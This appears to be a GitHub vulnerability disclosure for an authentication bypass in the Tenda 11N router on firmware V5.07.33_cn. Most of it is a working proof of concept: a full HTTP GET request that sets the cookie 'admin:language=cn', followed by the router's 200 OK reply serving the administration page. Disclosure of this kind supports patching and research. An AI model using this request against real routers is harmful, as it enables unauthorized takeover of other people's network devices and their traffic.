D0ngsec add tenda 11n auth bypass History

1 contributor

18 lines (9 sloc) | 586 Bytes

Tenda 11N V5.07.33_cn Authentication Bypass

Authentication Bypass Vulnerability Description

Vendor Of The Product: Tenda 11N

Affected Products and Firmware version: Tenda 11N with firmware version V5.07.33_cn

Vulnerability: Authentication Bypass

Exploitation: By setting the admin cookie, an attacker could exploit this vulnerability to bypass authentication mechanisms.

Affected Components: http://[ip]/login.asp

Vulnerability Details:

```
GET /index.asp HTTP/1.1
Host: 192.168.13.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0)
Gecko/20100101 Firefox/105.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.13.1/login.asp
Connection: close
Cookie: admin:language=cn
Upgrade-Insecure-Requests: 1
```

```
HTTP/1.0 200 OK
Date: Sun Sep 25 21:22:36 2022
Server: GoAhead-Webs
Pragma: no-cache
Cache-Control: no-cache
Content-type: text/html

<HTML>


  <HEAD>
    <META http-equiv="Pragma" content="no-cache">
    <META http-equiv="Content-Type" content="text/html; charset=gb2312"
    >
    <title>
      TENDA 11N无线路由器
    </title>
    <SCRIPT language=JavaScript src="gozila.js">
    </SCRIPT>
```